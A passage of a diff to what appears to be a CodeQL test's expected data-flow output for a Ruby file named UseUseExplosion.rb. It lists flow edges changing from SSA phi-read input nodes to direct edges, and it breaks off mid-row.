UseUseExplosion.rb:20:2859:20:2864 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2859:20:2864 | call to use | UseUseExplosion.rb:20:2854:20:2864 | else ... | -| UseUseExplosion.rb:20:2859:20:2864 | self | UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2863:20:2863 | x | UseUseExplosion.rb:20:2854:20:2864 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(self) | -| UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1081:20:2884 | SSA phi read(x) | +| UseUseExplosion.rb:20:2859:20:2864 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2863:20:2863 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2870:20:2880 | else ... | UseUseExplosion.rb:20:1081:20:2884 | if ... | -| UseUseExplosion.rb:20:2875:20:2880 | [post] self | UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2875:20:2880 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2875:20:2880 | call to use | UseUseExplosion.rb:20:2870:20:2880 | else ... | -| UseUseExplosion.rb:20:2875:20:2880 | self | UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2879:20:2879 | x | UseUseExplosion.rb:20:2870:20:2880 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(self) | -| UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1060:20:2900 | SSA phi read(x) | +| UseUseExplosion.rb:20:2875:20:2880 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2879:20:2879 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2886:20:2896 | else ... | UseUseExplosion.rb:20:1060:20:2900 | if ... | -| UseUseExplosion.rb:20:2891:20:2896 | [post] self | UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2891:20:2896 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2891:20:2896 | call to use | UseUseExplosion.rb:20:2886:20:2896 | else ... | -| UseUseExplosion.rb:20:2891:20:2896 | self | UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2895:20:2895 | x | UseUseExplosion.rb:20:2886:20:2896 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(self) | -| UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1039:20:2916 | SSA phi read(x) | +| UseUseExplosion.rb:20:2891:20:2896 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2895:20:2895 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2902:20:2912 | else ... | UseUseExplosion.rb:20:1039:20:2916 | if ... | -| UseUseExplosion.rb:20:2907:20:2912 | [post] self | UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2907:20:2912 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2907:20:2912 | call to use | UseUseExplosion.rb:20:2902:20:2912 | else ... | -| UseUseExplosion.rb:20:2907:20:2912 | self | UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2911:20:2911 | x | UseUseExplosion.rb:20:2902:20:2912 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(self) | -| UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1018:20:2932 | SSA phi read(x) | +| UseUseExplosion.rb:20:2907:20:2912 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2911:20:2911 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2918:20:2928 | else ... | UseUseExplosion.rb:20:1018:20:2932 | if ... | -| UseUseExplosion.rb:20:2923:20:2928 | [post] self | UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2923:20:2928 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2923:20:2928 | call to use | UseUseExplosion.rb:20:2918:20:2928 | else ... | -| UseUseExplosion.rb:20:2923:20:2928 | self | UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2927:20:2927 | x | UseUseExplosion.rb:20:2918:20:2928 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(self) | UseUseExplosion.rb:20:997:20:2948 | SSA phi read(self) | -| UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(x) | UseUseExplosion.rb:20:997:20:2948 | SSA phi read(x) | +| UseUseExplosion.rb:20:2923:20:2928 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2927:20:2927 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2934:20:2944 | else ... | UseUseExplosion.rb:20:997:20:2948 | if ... | -| UseUseExplosion.rb:20:2939:20:2944 | [post] self | UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2939:20:2944 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2939:20:2944 | call to use | UseUseExplosion.rb:20:2934:20:2944 | else ... | -| UseUseExplosion.rb:20:2939:20:2944 | self | UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2943:20:2943 | x | UseUseExplosion.rb:20:2934:20:2944 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(self) | UseUseExplosion.rb:20:976:20:2964 | SSA phi read(self) | -| UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(x) | UseUseExplosion.rb:20:976:20:2964 | SSA phi read(x) | +| UseUseExplosion.rb:20:2939:20:2944 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2943:20:2943 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2950:20:2960 | else ... | UseUseExplosion.rb:20:976:20:2964 | if ... | -| UseUseExplosion.rb:20:2955:20:2960 | [post] self | UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2955:20:2960 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2955:20:2960 | call to use | UseUseExplosion.rb:20:2950:20:2960 | else ... | -| UseUseExplosion.rb:20:2955:20:2960 | self | UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2959:20:2959 | x | UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(self) | UseUseExplosion.rb:20:955:20:2980 | SSA phi read(self) | -| UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(x) | UseUseExplosion.rb:20:955:20:2980 | SSA phi read(x) | +| UseUseExplosion.rb:20:2955:20:2960 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2959:20:2959 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2966:20:2976 | else ... | UseUseExplosion.rb:20:955:20:2980 | if ... | -| UseUseExplosion.rb:20:2971:20:2976 | [post] self | UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2971:20:2976 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2971:20:2976 | call to use | UseUseExplosion.rb:20:2966:20:2976 | else ... | -| UseUseExplosion.rb:20:2971:20:2976 | self | UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2975:20:2975 | x | UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(self) | UseUseExplosion.rb:20:934:20:2996 | SSA phi read(self) | -| UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(x) | UseUseExplosion.rb:20:934:20:2996 | SSA phi read(x) | +| UseUseExplosion.rb:20:2971:20:2976 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2975:20:2975 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2982:20:2992 | else ... | UseUseExplosion.rb:20:934:20:2996 | if ... | -| UseUseExplosion.rb:20:2987:20:2992 | [post] self | UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2987:20:2992 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2987:20:2992 | call to use | UseUseExplosion.rb:20:2982:20:2992 | else ... | -| UseUseExplosion.rb:20:2987:20:2992 | self | UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2991:20:2991 | x | UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(self) | UseUseExplosion.rb:20:913:20:3012 | SSA phi read(self) | -| UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(x) | UseUseExplosion.rb:20:913:20:3012 | SSA phi read(x) | +| UseUseExplosion.rb:20:2987:20:2992 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2991:20:2991 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2998:20:3008 | else ... | UseUseExplosion.rb:20:913:20:3012 | if ... | -| UseUseExplosion.rb:20:3003:20:3008 | [post] self | UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3003:20:3008 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3003:20:3008 | call to use | UseUseExplosion.rb:20:2998:20:3008 | else ... | -| UseUseExplosion.rb:20:3003:20:3008 | self | UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3007:20:3007 | x | UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(self) | UseUseExplosion.rb:20:892:20:3028 | SSA phi read(self) | -| UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(x) | UseUseExplosion.rb:20:892:20:3028 | SSA phi read(x) | +| UseUseExplosion.rb:20:3003:20:3008 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3007:20:3007 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3014:20:3024 | else ... | UseUseExplosion.rb:20:892:20:3028 | if ... | -| UseUseExplosion.rb:20:3019:20:3024 | [post] self | UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3019:20:3024 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3019:20:3024 | call to use | UseUseExplosion.rb:20:3014:20:3024 | else ... | -| UseUseExplosion.rb:20:3019:20:3024 | self | UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3023:20:3023 | x | UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(self) | UseUseExplosion.rb:20:871:20:3044 | SSA phi read(self) | -| UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(x) | UseUseExplosion.rb:20:871:20:3044 | SSA phi read(x) | +| UseUseExplosion.rb:20:3019:20:3024 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3023:20:3023 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3030:20:3040 | else ... | UseUseExplosion.rb:20:871:20:3044 | if ... | -| UseUseExplosion.rb:20:3035:20:3040 | [post] self | UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3035:20:3040 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3035:20:3040 | call to use | UseUseExplosion.rb:20:3030:20:3040 | else ... | -| UseUseExplosion.rb:20:3035:20:3040 | self | UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3039:20:3039 | x | UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(self) | UseUseExplosion.rb:20:850:20:3060 | SSA phi read(self) | -| UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(x) | UseUseExplosion.rb:20:850:20:3060 | SSA phi read(x) | +| UseUseExplosion.rb:20:3035:20:3040 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3039:20:3039 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3046:20:3056 | else ... | UseUseExplosion.rb:20:850:20:3060 | if ... | -| UseUseExplosion.rb:20:3051:20:3056 | [post] self | UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3051:20:3056 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3051:20:3056 | call to use | UseUseExplosion.rb:20:3046:20:3056 | else ... | -| UseUseExplosion.rb:20:3051:20:3056 | self | UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3055:20:3055 | x | UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(self) | UseUseExplosion.rb:20:829:20:3076 | SSA phi read(self) | -| UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(x) | UseUseExplosion.rb:20:829:20:3076 | SSA phi read(x) | +| UseUseExplosion.rb:20:3051:20:3056 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3055:20:3055 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3062:20:3072 | else ... | UseUseExplosion.rb:20:829:20:3076 | if ... | -| UseUseExplosion.rb:20:3067:20:3072 | [post] self | UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3067:20:3072 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3067:20:3072 | call to use | UseUseExplosion.rb:20:3062:20:3072 | else ... | -| UseUseExplosion.rb:20:3067:20:3072 | self | UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3071:20:3071 | x | UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(self) | UseUseExplosion.rb:20:808:20:3092 | SSA phi read(self) | -| UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(x) | UseUseExplosion.rb:20:808:20:3092 | SSA phi read(x) | +| UseUseExplosion.rb:20:3067:20:3072 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3071:20:3071 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3078:20:3088 | else ... | UseUseExplosion.rb:20:808:20:3092 | if ... | -| UseUseExplosion.rb:20:3083:20:3088 | [post] self | UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3083:20:3088 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3083:20:3088 | call to use | UseUseExplosion.rb:20:3078:20:3088 | else ... | -| UseUseExplosion.rb:20:3083:20:3088 | self | UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3087:20:3087 | x | UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(self) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(self) | -| UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(x) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(x) | +| UseUseExplosion.rb:20:3083:20:3088 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3087:20:3087 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3094:20:3104 | else ... | UseUseExplosion.rb:20:787:20:3108 | if ... | -| UseUseExplosion.rb:20:3099:20:3104 | [post] self | UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3099:20:3104 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3099:20:3104 | call to use | UseUseExplosion.rb:20:3094:20:3104 | else ... | -| UseUseExplosion.rb:20:3099:20:3104 | self | UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3103:20:3103 | x | UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(self) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(self) | -| UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(x) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(x) | +| UseUseExplosion.rb:20:3099:20:3104 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3103:20:3103 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3110:20:3120 | else ... | UseUseExplosion.rb:20:766:20:3124 | if ... | -| UseUseExplosion.rb:20:3115:20:3120 | [post] self | UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3115:20:3120 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3115:20:3120 | call to use | UseUseExplosion.rb:20:3110:20:3120 | else ... | -| UseUseExplosion.rb:20:3115:20:3120 | self | UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3119:20:3119 | x | UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(self) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(self) | -| UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(x) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(x) | +| UseUseExplosion.rb:20:3115:20:3120 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3119:20:3119 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3126:20:3136 | else ... | UseUseExplosion.rb:20:745:20:3140 | if ... | -| UseUseExplosion.rb:20:3131:20:3136 | [post] self | UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3131:20:3136 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3131:20:3136 | call to use | UseUseExplosion.rb:20:3126:20:3136 | else ... | -| UseUseExplosion.rb:20:3131:20:3136 | self | UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3135:20:3135 | x | UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(self) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) | -| UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(x) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(x) | +| UseUseExplosion.rb:20:3131:20:3136 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3135:20:3135 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3142:20:3152 | else ... | UseUseExplosion.rb:20:724:20:3156 | if ... | -| UseUseExplosion.rb:20:3147:20:3152 | [post] self | UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3147:20:3152 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3147:20:3152 | call to use | UseUseExplosion.rb:20:3142:20:3152 | else ... | -| UseUseExplosion.rb:20:3147:20:3152 | self | UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3151:20:3151 | x | UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(self) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | -| UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(x) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | +| UseUseExplosion.rb:20:3147:20:3152 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3151:20:3151 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3158:20:3168 | else ... | UseUseExplosion.rb:20:703:20:3172 | if ... | -| UseUseExplosion.rb:20:3163:20:3168 | [post] self | UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3163:20:3168 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3163:20:3168 | call to use | UseUseExplosion.rb:20:3158:20:3168 | else ... | -| UseUseExplosion.rb:20:3163:20:3168 | self | UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3167:20:3167 | x | UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(self) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | -| UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(x) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | +| UseUseExplosion.rb:20:3163:20:3168 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3167:20:3167 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3174:20:3184 | else ... | UseUseExplosion.rb:20:682:20:3188 | if ... | -| UseUseExplosion.rb:20:3179:20:3184 | [post] self | UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3179:20:3184 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3179:20:3184 | call to use | UseUseExplosion.rb:20:3174:20:3184 | else ... | -| UseUseExplosion.rb:20:3179:20:3184 | self | UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3183:20:3183 | x | UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(self) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | -| UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(x) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | +| UseUseExplosion.rb:20:3179:20:3184 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3183:20:3183 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3190:20:3200 | else ... | UseUseExplosion.rb:20:661:20:3204 | if ... | -| UseUseExplosion.rb:20:3195:20:3200 | [post] self | UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3195:20:3200 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3195:20:3200 | call to use | UseUseExplosion.rb:20:3190:20:3200 | else ... | -| UseUseExplosion.rb:20:3195:20:3200 | self | UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3199:20:3199 | x | UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(self) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | -| UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(x) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | +| UseUseExplosion.rb:20:3195:20:3200 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3199:20:3199 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3206:20:3216 | else ... | UseUseExplosion.rb:20:640:20:3220 | if ... | -| UseUseExplosion.rb:20:3211:20:3216 | [post] self | UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3211:20:3216 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3211:20:3216 | call to use | UseUseExplosion.rb:20:3206:20:3216 | else ... | -| UseUseExplosion.rb:20:3211:20:3216 | self | UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3215:20:3215 | x | UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(self) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | -| UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(x) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | +| UseUseExplosion.rb:20:3211:20:3216 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3215:20:3215 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3222:20:3232 | else ... | UseUseExplosion.rb:20:619:20:3236 | if ... | -| UseUseExplosion.rb:20:3227:20:3232 | [post] self | UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3227:20:3232 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3227:20:3232 | call to use | UseUseExplosion.rb:20:3222:20:3232 | else ... | -| UseUseExplosion.rb:20:3227:20:3232 | self | UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3231:20:3231 | x | UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(self) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | -| UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(x) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | +| UseUseExplosion.rb:20:3227:20:3232 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3231:20:3231 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3238:20:3248 | else ... | UseUseExplosion.rb:20:598:20:3252 | if ... | -| UseUseExplosion.rb:20:3243:20:3248 | [post] self | UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3243:20:3248 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3243:20:3248 | call to use | UseUseExplosion.rb:20:3238:20:3248 | else ... | -| UseUseExplosion.rb:20:3243:20:3248 | self | UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3247:20:3247 | x | UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(self) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | -| UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(x) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | +| UseUseExplosion.rb:20:3243:20:3248 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3247:20:3247 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3254:20:3264 | else ... | 